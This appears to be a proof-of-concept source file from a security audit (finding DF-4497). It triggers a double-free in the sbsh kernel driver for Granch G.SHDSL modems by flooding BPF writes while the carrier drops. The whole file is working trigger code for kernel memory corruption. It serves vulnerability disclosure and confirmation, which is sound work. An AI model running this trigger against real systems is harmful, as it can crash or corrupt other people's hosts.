DF-4497 / trigger.c
/* * DF-4497 trigger โ sbsh stale-pointer double-free after deactivate() * * Requires: Granch SBNI12/SBNI16 G.SHDSL modem (PCI 0x55:0x9d), driver * attached as sbsh0, link ACTIVE, and a peer that drops carrier (or run * as root and let run.sh flap the interface). * * Strategy: saturate the TX path with tiny frames via BPF writes so that * TXS interrupts are in flight at the moment the carrier drops (EXT -> * deactivate -> drop_queues) โ then the same/deferred ISR runs * free_sent_buffers() over stale xq[] pointers. * * NOT RUNNABLE on the audit QEMU guest (device absent) โ source-level * confirmation only. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <net/bpf.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { const char *ifn = argc > 1 ? argv[1] : "sbsh0"; char dev[16]; unsigned char pkt[64]; /* minimal ethernet-ish frame */ int fd, n, i; struct ifreq ifr; for (n = 0; n < 64; n++) { snprintf(dev, sizeof(dev), "/dev/bpf%d", n); fd = open(dev, O_RDWR); if (fd >= 0) break; } if (fd < 0) { perror("open /dev/bpfN"); return 1; } memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifn, sizeof(ifr.ifr_name)); if (ioctl(fd, BIOCSETIF, &ifr) < 0) { perror("BIOCSETIF"); return 1; } /* dst broadcast, src anything, type IP, one payload byte */ memset(pkt, 0xff, 6); memset(pkt + 6, 0x00, 6); pkt[12] = 0x08; pkt[13] = 0x00; pkt[14] = 0x45; for (i = 0; i < 200000; i++) { if (write(fd, pkt, sizeof(pkt)) < 0) { if (errno != ENOBUFS && errno != EINTR) { perror("bpf write"); break; } } } printf("done\n"); return 0; } |